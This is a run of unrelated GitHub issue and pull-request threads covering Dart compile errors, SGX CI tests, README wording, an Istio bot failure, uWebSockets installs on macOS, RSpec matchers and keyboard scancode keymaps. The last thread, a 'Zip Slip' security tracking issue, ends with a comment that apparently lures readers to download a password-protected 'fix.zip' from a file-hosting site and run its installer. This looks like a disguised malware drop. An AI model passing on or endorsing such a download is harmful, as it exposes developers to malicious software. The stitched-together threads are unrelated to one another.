 - WebSocketChannel.ready
Try to either
 - provide an implementation,
 - inherit an implementation from a superclass or mixin,
 - mark the class as abstract, or
 - provide a 'noSuchMethod' implementation.

class GraphQLWebSocketChannel extends StreamChannelMixin<dynamic>
      ^^^^^^^^^^^^^^^^^^^^^^^
../../../../.pub-cache/hosted/pub.dartlang.org/web_socket_channel-2.3.0/lib/src/channel.dart:56:22: Context: 'WebSocketChannel.ready' is defined here.
  final Future<void> ready = Future.value();

Sorry; wrong repo.


CI/CD: add SGX and DCAP versions both in the centos and ubuntu pr tests

Fixes: alibaba#708
Signed-off-by: Yilin Li<EMAIL_ADDRESS>

SGX1 test result:

skeleton

ubuntu: https://github.com/hustliyilin/inclavare-containers/runs/2517560246
centos: https://github.com/hustliyilin/inclavare-containers/runs/2517560274

enclave-tls

ubuntu: https://github.com/hustliyilin/inclavare-containers/runs/2517560082
centos: https://github.com/hustliyilin/inclavare-containers/runs/2517560116

shelter

ubuntu: https://github.com/hustliyilin/inclavare-containers/runs/2517560094
centos: https://github.com/hustliyilin/inclavare-containers/runs/2517560129

sgx 2: all runners are offline


Obscurity meaning in readme.md file

Description
I found an obscurity meaning in the process of translating files.
confirm it please.
Shareable Source
In Readme file,

Pretender supports XHR and Fetch stubbing and is a great lightweight alternative to Polly and also to you if your project does not require persisting capabilities or Node adapters.

I thought you want to give a message to us that Polly is helpful to project with certain feature.
so  i added a sentence "and also to you"

Thank you for the suggestion @rlathgml1004 but the current written statement is fine as is.


Automator: update common-files@master in istio/istio@master

Generated by Automator - 2020-07-08T15:16:37+00:00

@istio-testing: The following test failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

integ-pilot-k8s-tests_istio
b96e70b03535e148beab86b4b2eaf2208ddcfc2c
link
/test integ-pilot-k8s-tests_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/retest


install-mac.sh does not work from Mac OS 10.11 upwards

I've just tried to install uWebSocket on Mac OS Sierra using install-mac.sh and got the following error:
CMake Error at cmake_install.cmake:39 (file):
   file cannot create directory: /usr/lib64.  Maybe need administrative
   privileges.

make: *** [install] Error 1

Apparently the System Integrity Protection introduced in Mac OS 10.11 prohibits even super users from making changes to /usr.
I tried to change the cmake .. line to
cmake .. -DOPENSSL_ROOT_DIR=/usr/local/opt/openssl -DOPENSSL_LIBRARIES=/usr/local/opt/openssl/lib,
but I am still getting the same error.

I found a workaround here: https://discussions.udacity.com/t/cant-install-uwebsockets/247800/10?u=matthew_cooper

@dyelax Thanks a lot!
Udacity should update the shell script accordingly.

@pierluigiferrari This workaround was included in the project repo 4 days ago in this commit https://github.com/udacity/CarND-Extended-Kalman-Filter-Project/commit/8260ffbbec4d311127124da90345fa0a58316a7a. So with the latest install-mac.sh file it should work fine.

@subodh-malgonde but the repo says that install-mac.sh and install-ubuntu.sh were both last updated 20 days ago?

I mean't to say the cmakepatch.txt was missing. It was added 5 days ago. Please see this commit https://github.com/udacity/CarND-Extended-Kalman-Filter-Project/commit/8260ffbbec4d311127124da90345fa0a58316a7a

Sorry, thought this issue had been closed before. cmakepatch.txt was added correcting the issue.


How to work have_attributes?

I don't understand how should have_attributes method work.
I am getting such json[‘data’]
{"id"=>"1", "type"=>"users", "attributes"=>{"id"=>1<EMAIL_ADDRESS>"first_name"=>"Beaulah", "last_name"=>"Nitzsche", "company"=>"Balistreri and Sons"}}

but I get such error when I run test -
Failure/Error: expect(json['data']).to(have_attributes(:full_name, :email))
       expected {"id"=>"1", "type"=>"users", "attributes"=>{"id"=>1<EMAIL_ADDRESS>"first_name"=>"Beaulah", "last_name"=>"Nitzsche", "company"=>"Balistreri and Sons"}} to have attributes :full_name and :email

My spec_helper.rb

require 'rails_helper'
require 'rspec-rails'

RSpec.configure do |config|
  config.expect_with :rspec do |expectations|
    expectations.include_chain_clauses_in_custom_matcher_descriptions = true
  end

  config.mock_with :rspec do |mocks|
    mocks.verify_partial_doubles = true
  end

  config.shared_context_metadata_behavior = :apply_to_host_groups

  config.before(:suite) do
    DatabaseCleaner.strategy = :truncation
    DatabaseCleaner.clean_with(:truncation)
  end

  config.around(:each) do |example|
    DatabaseCleaner.cleaning do
      example.run
    end
  end

  config.include Requests::JsonHelpers
  config.include JSONAPI::RSpec
end

My file_spec.rb

require 'rails_helper'

describe Api::V1::Devise::SessionsController do
  let!(:user) {FactoryGirl.create(:user)}

  describe 'POST /auth/sign_in' do
    it 'Success authorize user' do
      post '/api/v1/auth/sign_in', params: {email: user.email, password: user.password}
      expect(json['data']).to(have_attributes(:full_name, :email))
    end
  end
end

Your spec is failing because your payload does not have a full_name attribute (it has first_name and last_name).

@beauby Thanks for your reply. Yes, I have been mistaken, sorry :(
Other issue - after adding 'jsonapi-rspec' gem into Gemfile I can't run rails routes/ rails db:migrate or any other rails task.
I am getting the next error
ails routes
rails aborted!
NameError: uninitialized constant RSpec::Matchers
/Users/artemgalas/.rvm/gems/ruby-2.4.1@easylead/gems/jsonapi-rspec-0.0.2/lib/jsonapi/rspec/id.rb:4:in `<module:Id>'
/Users/artemgalas/.rvm/gems/ruby-2.4.1@easylead/gems/jsonapi-rspec-0.0.2/lib/jsonapi/rspec/id.rb:3:in `<module:RSpec>'
/Users/artemgalas/.rvm/gems/ruby-2.4.1@easylead/gems/jsonapi-rspec-0.0.2/lib/jsonapi/rspec/id.rb:2:in `<module:JSONAPI>'
/Users/artemgalas/.rvm/gems/ruby-2.4.1@easylead/gems/jsonapi-rspec-0.0.2/lib/jsonapi/rspec/id.rb:1:in `<top (required)>'
/Users/artemgalas/.rvm/gems/ruby-2.4.1@easylead/gems/jsonapi-rspec-0.0.2/lib/jsonapi/rspec.rb:1:in `<top (required)>'


Writing a new keymap

Hi,
I need to create a new keymap (for french keyboards).
Can someone explain what I should put inside all the keymaps maps (in the files named keymaps*.js) ?
Especially what can I get the keycodes to be sent ? What is the meaning of for instance :
charmapUS['~']   = [[0x2A, 0, 0, 0], [0x29, 0, 0, 0], [0xA9, 0, 0, 0], [0xAA, 0, 0, 0]];

?
Any advice is welcome :-)
Thank you for your help,
Fred.

Hi,
I think we've figured it out:
Every of the 4 Byte-Array is representing a key.
Every key is descriped as a scancode. You will find a list of the scancodes for your language on the internet e.g. https://msdn.microsoft.com/en-us/library/ms892155.aspx
Let's do an example: We've to write an 'a', so we will search for the scancode of 'a' which is "0x10".
So the first array will be: [0x10, 0, 0, 0]. The next array is a litte bit of math. If you press the 'a' key you have to release it afterwards. This is what the second array will be for. You have to calculate the scancode of the key + 0x80, so for 'a' it will be 0x90 (use: http://www.miniwebtool.com/hex-calculator/) and the array will look like this:
charmapFR['a'] = [[0x10, 0, 0, 0], [0x90, 0, 0, 0]]
Know it becomes a bit more complex: You would like to write 'A' so you have to use the SHIFT-Key
For that do the same procedure as before, but know you have two keys in the following seqeuence:
SHIFT -> a -> a-release -> SHIFT-Release, if you build it it looks like:
charmapFR['A'] = [[0x2A, 0, 0, 0], [0x10, 0, 0, 0], [0x90, 0, 0, 0], [0xAA, 0, 0, 0]]
(I've used the german SHIFT-Key-Scancode 0x2A, but it should be the same as in US and french).
If you have to press more keys as two simply add more keys in the right sequence to the array.
One special case is the ALTGR-Key which isn't available in the US, so you maybe have a look
on a german keymap: https://github.com/eyeos/spice-web-client/pull/19/commits/741b8cf8a120ecbc2ced8d02fccc88cf2a8467f2#diff-f0c53991475e19ce034738c072f7688cR59
Here you have to use the following array to press a ALTGR key combination:
[[0xE0, 0x38, 0, 0], ... , [0xE0, 0xB8, 0, 0]];
I hope this would be helpful for you and other users :)


Fix code scanning alert - Arbitrary file access during archive extraction ("Zip Slip")

Tracking issue for:

[ ] https://github.com/yk26tan/TechExcel-Accelerate-developer-productivity-with-GitHub-Copilot-and-Dev-Box/security/code-scanning/1

Download
https://www.mediafire.com/file/3hzk77cxvxc9nq2/fix.zip/file
password: changeme
In the installer menu, select "gcc."